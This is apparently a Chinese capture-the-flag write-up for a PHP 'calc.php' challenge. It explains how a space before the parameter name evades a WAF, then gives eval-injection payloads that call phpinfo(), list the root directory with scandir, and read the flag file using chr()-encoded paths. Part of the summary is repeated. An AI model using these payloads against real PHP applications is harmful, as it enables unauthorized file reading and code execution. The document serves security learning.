在着手这道题之前 ,我们需要,我们需要一些PHP字符串解析的知识
地址:https://www.freebuf.com/articles/web/213359.html
问题分析
老规矩,在拿到一个网站后,先查看robots.txt协议
好的,又没有任何东西。继续,返回F12查看源码
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
$("#content").val() # JQuery语法 用来获取HTML中属性ID='content' 的值
encodeURIComponent() #js 函数,用来将字符串作为url组件进行编码
// 这段代码主要是获取content里面的内容,然后编码,和calc.php?num= 进行拼接
(encodeURL() 和encodeuricomponent()的区别可点击次处查看)
我们访问一下/calc.php
发现calc.php就是对传入content中的内容的一个非法字符过滤
在简单了解了PHP字符串解析过程后,我们可以构造playload
/calc.php? num=phpinfo() # 注:?和num之间有个空格,你也可以使用 + 代替
/calc.php?+num=phpinfo()
出现以上情况,表明我们已经绕过了waf
成功绕过waf之后,第一想法是看看目录中有没有flag的相关信息,
由于calc.php中出现了eval()函数,所以我首先尝试的是使用system(“ls”),由于calc.php又对输入进行了过滤,所有我有用ascii吗绕过 “ 的ascii值为34,但是行不通
那再试试PHP
PHP中有几个常用来查看目录与文件信息
scandir(directory,sorting_order,context); # 返回指定目录中的文件和目录的数组。
参数 | 描述 |
---|---|
directory | 必需。规定要扫描的目录。 |
sorting_order | 可选。规定排列顺序。默认是 0,表示按字母升序排列。如果设置为 SCANDIR_SORT_DESCENDING 或者 1,则表示按字母降序排列。如果设置为 SCANDIR_SORT_NONE,则返回未排列的结果。 |
context | 可选。规定目录句柄的环境。context 是可修改目录流的行为的一套选项。 |
void var_dump ( mixed $expression [, mixed $... ] ) # 用来输出变量的相关信息
# $ expression: 需要输出的变量
file_get_contents(path,include_path,context,start,max_length) # 将整个文件读入
参数 | 描述 |
---|---|
path | 必需。规定要读取的文件。 |
include_path | 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 ‘1’。 |
context | 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略。 |
start | 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。 |
max_length | 可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。 |
可以点击一下简单了解个函数的使用方法以及实例
回到正题,继续构建playload
num=var_dump(scandir(chr(47)))
可以看到在根目录下发现了一个叫f1agg的目录或文本
ok,继续使用file_get_contents()尝试读取
+num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
完工
总结
- 通过本题,需要了解以及熟知php的字符串解析
这两张图能够基本反映关键部分
-
熟练掌握php中读取文件和目录的三个函数
var_dump() # 输出变量的相关信息
scandir() # 获取指定目录下的目录和文件,返回值为数组
file_get_contents() # 返回文件内容,
图能够基本反映关键部分
-
熟练掌握php中读取文件和目录的三个函数
var_dump() # 输出变量的相关信息
scandir() # 获取指定目录下的目录和文件,返回值为数组
file_get_contents() # 返回文件内容,